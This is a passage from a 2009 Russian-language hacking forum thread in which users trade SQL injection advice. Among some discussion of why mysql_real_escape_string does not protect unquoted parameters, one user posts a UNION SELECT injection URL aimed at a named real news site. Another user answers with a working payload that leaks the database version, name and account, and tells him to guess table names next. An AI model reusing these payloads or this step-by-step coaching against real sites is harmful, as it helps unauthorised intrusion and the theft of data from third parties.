 |
|
01.02.2009, 03:15
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
там макс что можно, это прочитать файлы..
я откуда знаю что там вобще) я думал есть возможность заливать ) увЫ
|
|
|
01.02.2009, 04:56
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
С нами:
10077446
Репутация:
1020
|
|
Сообщение от [Raz0r]
Используй mysql_(real_)*escape_string()
тут надо уточнить, если параметры пришедшие из вне вставляються в гверю без кавычек то
mysql_real_escape_string() вызывает библиотечную функцмю MySQL mysql_real_escape_string, которая добавляет обратную косую черту к следующим символам: \x00, \n, \r, \, ', " and \x1a.
то есть например
$sql="SELECT `password` FROM user where id =".mysql_real_escape_string($_GET['user'])."LIMIT 1";
все равно уязвим.
Последний раз редактировалось AkyHa_MaTaTa; 01.02.2009 в 19:53..
|
|
|
|
01.02.2009, 10:04
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
159932, а что ты ржешь? Я не думал что у него стр идет гетом или постом,а думал что он тупо может ею управлять =\
|
|
|
|
01.02.2009, 13:12
|
|
Новичок
Регистрация: 25.04.2007
Сообщений: 16
С нами:
10023542
Репутация:
1
|
|
hi
sorry for my language
what to do with this
Microsoft JET Database Engine error '80040e10'
No value given for one or more required parameters.
/store/ancillary.asp, line 17
thanx
|
|
|
|
01.02.2009, 13:27
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от procedure
./docs/danger\0/body.html
- от такая хня получается(
Нулл байт экранируется, включена маджик квот.
AHMED HASSAN Официальный язык форума Русский, будь добр, пользуйся онлайн переводчиками (хотя-бы), или задавай вопросы в английском разделе.
Official language a forum Russian, if you please, use online translators , or ask questions in English section.
По поводу вопроса: это Access
http://forum.antichat.ru/thread50550.html
|
|
|
|
01.02.2009, 14:51
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами:
10109126
Репутация:
1980
|
|
Сообщение от mailbrush
159932, а что ты ржешь? Я не думал что у него стр идет гетом или постом,а думал что он тупо может ею управлять =\
даже если имеется возможность назначить собственное значение для $str, это никак не позволит выполнить код в file_get_contents(), как было предложено тобой.
тут надо уточнить, если параметры пришедшие из вне вставляються в гверю без скобок
@AkyHa_MaTaTa
без кавычек 
|
|
|
|
01.02.2009, 18:47
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
PHP код:
http://www.sterlitamak.ru/arxnews.shtml?id=-873+
union+select+1,version(),3,4,5,6,7,8,9,0
подскажите с дальнейшими действиями,я запутался!Каким образом можно узнать полный путь к файлу arxnews.shtml
Хоть что-нибудь подскажите,пожалуйста!  |
|
|
|
01.02.2009, 19:01
|
|
Познающий
Регистрация: 21.03.2008
Сообщений: 39
С нами:
9547025
Репутация:
21
|
|
Сообщение от kevmen
PHP код:
http://www.sterlitamak.ru/arxnews.shtml?id=-873+
union+select+1,version(),3,4,5,6,7,8,9,0
подскажите с дальнейшими действиями,я запутался!Каким образом можно узнать полный путь к файлу arxnews.shtml
Хоть что-нибудь подскажите,пожалуйста!
http://www.sterlitamak.ru/arxnews.shtml?id=-873+union+select+1,concat(version(),0x3a,DATABASE( ),0x3a,USER()),3,4,5,6,7,8,9,10/*
4.0.24_Debian-10sarge2-log:admstr:adminstr@localhost
А дальше таблици подбирай - ...9,10+from+имятаблици/*
|
|
|
|
01.02.2009, 19:10
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Сообщение от kevmen
PHP код:
http://www.sterlitamak.ru/arxnews.shtml?id=-873+
union+select+1,version(),3,4,5,6,7,8,9,0
подскажите с дальнейшими действиями,я запутался!Каким образом можно узнать полный путь к файлу arxnews.shtml
Хоть что-нибудь подскажите,пожалуйста!
а зачеим тебе путь? там лоад файл запрещен
|
|
|
|
01.02.2009, 20:20
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
только подбирать названия?Ничего другого нельзя сделать?
То есть нужно надеятся на удачу?или есть какой-нибудь другой способ
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Raz0r]](/avatars/avatar33548.jpg?1092923){kind=avatar}
Похожие темы
Линейный вид
